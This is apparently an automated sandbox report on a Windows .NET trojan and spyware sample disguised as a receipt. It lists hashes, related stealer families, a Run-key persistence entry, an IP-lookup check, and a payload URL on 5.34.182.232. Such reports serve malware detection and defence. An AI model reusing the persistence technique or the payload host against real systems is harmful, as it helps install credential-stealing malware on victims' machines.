C:\Users\user\AppData\Roaming\daqfbrlrs.exe	42%	ReversingLabs	Win32.Trojan.Znyonm
C:\Users\user\AppData\Roaming\daqfbrlrs.exe	41%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://5.34.182.232	2%	Virustotal		Browse
http://5.34.182.232/sm/Tsgempx.pdf	3%	Virustotal		Browse
http://5.34.182.232/sm/Tsgempx.pdf1rMNwlnDXb2Wr0bmURqfDNA==	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://5.34.182.232/sm/Tsgempx.pdf	false	3%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://5.34.182.232	Receipt_7814002.exe, 00000000.00000002.2362402725.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.000000000301B000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://api.ipify.org	Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3231098043.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-neti	Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3231098043.0000000000430000.00000040.00000400.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp	false		high
http://5.34.182.232/sm/Tsgempx.pdfS=	daqfbrlrs.exe, 00000005.00000002.2872621137.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	URL Reputation: safe	unknown
https://api.ipify.org/t	Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Receipt_7814002.exe, 00000000.00000002.2362402725.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.000000000301B000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		high
http://5.34.182.232/sm/Tsgempx.pdf1rMNwlnDXb2Wr0bmURqfDNA==	Receipt_7814002.exe, daqfbrlrs.exe.0.dr	false	3%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
66.29.151.236	unknown	United States	19538	ADVANTAGECOMUS	true
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
5.34.182.232	unknown	Ukraine	15626	ITLASUA	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429041
Start date and time:	2024-04-20 10:22:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Receipt_7814002.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/4@2/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 319 Number of non-executed functions: 25
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:23:31	API Interceptor	17x Sleep call for process: Receipt_7814002.exe modified
10:23:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run daqfbrlrs C:\Users\user\AppData\Roaming\daqfbrlrs.exe
10:23:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run daqfbrlrs C:\Users\user\AppData\Roaming\daqfbrlrs.exe
10:24:21	API Interceptor	34x Sleep call for process: daqfbrlrs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.29.151.236	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	copy#20005716.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	copy_106_10210_31.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse
	xnYuUw7KjK.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Lpym75Agro.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Copy#6505270.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	copy#10607753.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	5609012330.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	BF-TL-605877001.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
104.26.12.205	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
104.26.13.205	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	VN24A02765.PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	ShippingOrder_ GSHS2400052.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	z1E-catalogSamples.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	172.67.74.152
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Essay on Resolution of Korean Forced Labor Claims.vbs	Get hash	malicious	Unknown	Browse	104.26.15.182
	VN24A02765.PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	ShippingOrder_ GSHS2400052.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	172.67.180.119
	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	104.20.3.235
	https://bj8lt4fm8evwyl.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.47.24
	https://jainpokliultachor.pages.dev/	Get hash	malicious	Unknown	Browse	104.22.24.131
	https://pusha1qsn.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
	https://19apmacc8.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.22.24.131
CLOUDFLARENETUS	Essay on Resolution of Korean Forced Labor Claims.vbs	Get hash	malicious	Unknown	Browse	104.26.15.182
	VN24A02765.PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	ShippingOrder_ GSHS2400052.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	172.67.180.119
	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	104.20.3.235
	https://bj8lt4fm8evwyl.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.47.24
	https://jainpokliultachor.pages.dev/	Get hash	malicious	Unknown	Browse	104.22.24.131
	https://pusha1qsn.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
	https://19apmacc8.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.22.24.131
ITLASUA	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.34.182.232
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.34.182.232
	Remittance0098876.exe	Get hash	malicious	AgentTesla	Browse	195.54.163.133
	PO24-0626.exe	Get hash	malicious	AgentTesla	Browse	195.54.163.133
	fhSHwOyb33.elf	Get hash	malicious	Gafgyt, Mirai	Browse	217.12.214.61
	Payment Slip05042024.exe	Get hash	malicious	AgentTesla	Browse	91.235.128.141
	iiafzj49BP.exe	Get hash	malicious	AgentTesla	Browse	91.235.128.141
	DHL Shipping notification-PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	91.235.128.141
	INOVICE NO CY-W-24-17-26.exe	Get hash	malicious	AgentTesla	Browse	195.54.163.133
	SecuriteInfo.com.Win32.Trojan.CobaltStrike.4EYNH5.5772.17622.dll	Get hash	malicious	CobaltStrike	Browse	217.12.221.61
ADVANTAGECOMUS	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	SecuriteInfo.com.W32.AutoIt.YE.gen.Eldorado.12126.13851.exe	Get hash	malicious	FormBook	Browse	66.29.149.46
	zHsIxYcmJV.msi	Get hash	malicious	Unknown	Browse	66.29.152.245
	DOC 331-100920-00.exe	Get hash	malicious	FormBook	Browse	66.29.149.46
	DOC 331-100920-00.exe	Get hash	malicious	FormBook	Browse	66.29.149.46
	Periscope Product List RFQ, NDA & Purchase Terms 2024.shtml	Get hash	malicious	HTMLPhisher	Browse	66.29.130.179
	copy#20005716.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	160420241245287.exe	Get hash	malicious	FormBook, GuLoader	Browse	66.29.135.159
	2024164846750.exe	Get hash	malicious	FormBook, GuLoader	Browse	66.29.135.159

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	fP4kybhBWi.exe	Get hash	malicious	Quasar	Browse	104.26.12.205 104.26.13.205
	VN24A02765.PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205 104.26.13.205
	ShippingOrder_ GSHS2400052.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	104.26.12.205 104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205 104.26.13.205
	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	104.26.12.205 104.26.13.205
	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205 104.26.13.205
	https://keenetownhall-my.sharepoint.com/:b:/g/personal/amanda_keenetownhall_org/ESKbqbSIMj5ElsbdsfaEg7oBgkFm5H_JqS97uaySzVhJDQ?e=KMMz4y	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205 104.26.13.205
	https://www.canva.com/design/DAGC4eUhMw0/cKr_ImwjL8JW0nUMNMi5QA/view?utm_content=DAGC4eUhMw0&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.12.205 104.26.13.205
	z1E-catalogSamples.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205 104.26.13.205
	rTDN001-180424_PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205 104.26.13.205

Process:	C:\Users\user\Desktop\Receipt_7814002.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	5.352154694194798
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3oPtHo6hAHKzeRHKx1qHj
MD5:	D5F0E53F52AB8FA3BEB3D61F6DD7E35C
SHA1:	1FCEEB1CA14EAABC17D427180A436779E5834096
SHA-256:	6D8230D75A1F0383C58AF007EAFE73519258929DB9D89F1B73E8B461D50DE639
SHA-512:	8F7B192D1ECDA2D142E6DD758426A637D96F5EE1687DDE2E2256EDAB62139754A830A96697601765622413A1F9F85A47C07537C524CF4D206025006C6474BEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, Publi

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\daqfbrlrs.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\daqfbrlrs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	5.352154694194798
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3oPtHo6hAHKzeRHKx1qHj
MD5:	D5F0E53F52AB8FA3BEB3D61F6DD7E35C
SHA1:	1FCEEB1CA14EAABC17D427180A436779E5834096
SHA-256:	6D8230D75A1F0383C58AF007EAFE73519258929DB9D89F1B73E8B461D50DE639
SHA-512:	8F7B192D1ECDA2D142E6DD758426A637D96F5EE1687DDE2E2256EDAB62139754A830A96697601765622413A1F9F85A47C07537C524CF4D206025006C6474BEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, Publi

C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Download File

Process:	C:\Users\user\Desktop\Receipt_7814002.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	72352
Entropy (8bit):	5.84754599442849
Encrypted:	false
SSDEEP:	1536:JFXhiFQzXblXAorYfwJcxSTlWoJl0ovJvWR4jmft2Ib7ADUzqDf8Yt6i/7:rXh6ykDxSTlWoJl0ovJvWR46fJb7AD8q
MD5:	67F9E0F23980B5D10AF7A7EB8859FAB2
SHA1:	114F660769C6B79673CE56FBC5EFFA50A59338FD
SHA-256:	2F539731282A936700C6C4797EA84BEBA6DD863761F607E22B32B1B67F66B09E
SHA-512:	63349EAA7CF24FD2243EF44D58EB4EAD78D82497F1D83346D398B444ECDB3A36C87CBA66E0B5D2A71B35FA8C0211B97DBBCB3A4E59339C16274575FC89126A57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 41%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%."f.............................2... ...@....@.. .......................@............`..................................1..L....@...................... .......................................................2............... ..H............text... .... ...................... ..`.rsrc........@......................@..@.reloc....... ......................@..B................H........#...............................................................0..........s................}...........s.............s......~....%:....&~..........s....%.....~....:....~..........s.................(....}.....{....o............*...0..............(........ ....(.........&.....s....r...p(......9...........&..s........rG..p(....ry..p(....o......s.......s...........s..........o......o......-.....9......o.......9......o.......9......o.......>......<......X.X.8U.....?......<+....

C:\Users\user\AppData\Roaming\daqfbrlrs.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Receipt_7814002.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.84754599442849
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Receipt_7814002.exe
File size:	72'352 bytes
MD5:	67f9e0f23980b5d10af7a7eb8859fab2
SHA1:	114f660769c6b79673ce56fbc5effa50a59338fd
SHA256:	2f539731282a936700c6c4797ea84beba6dd863761f607e22b32b1b67f66b09e
SHA512:	63349eaa7cf24fd2243ef44d58eb4ead78d82497f1d83346d398b444ecdb3a36c87cba66e0b5d2a71b35fa8c0211b97dbbcb3a4e59339c16274575fc89126a57
SSDEEP:	1536:JFXhiFQzXblXAorYfwJcxSTlWoJl0ovJvWR4jmft2Ib7ADUzqDf8Yt6i/7:rXh6ykDxSTlWoJl0ovJvWR46fJb7AD8q
TLSH:	F363AAD1F24458A5EC1623F55C379D22209BBEAD98B68A1E249FB6355FB334310B3D0B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%."f.............................2... ...@....@.. .......................@............`................................

File Icon


Icon Hash:	1464e4865381868e

Static PE Info

General

Entrypoint:	0x40320a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66222E25 [Fri Apr 19 08:41:09 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/03/2022 01:00:00 10/03/2024 00:59:59
Subject Chain	CN=\u5317\u4eac\u6811\u888b\u718a\u7f51\u7edc\u79d1\u6280\u6709\u9650\u516c\u53f8, O=\u5317\u4eac\u6811\u888b\u718a\u7f51\u7edc\u79d1\u6280\u6709\u9650\u516c\u53f8, S=\u5317\u4eac\u5e02, C=CN
Version:	3
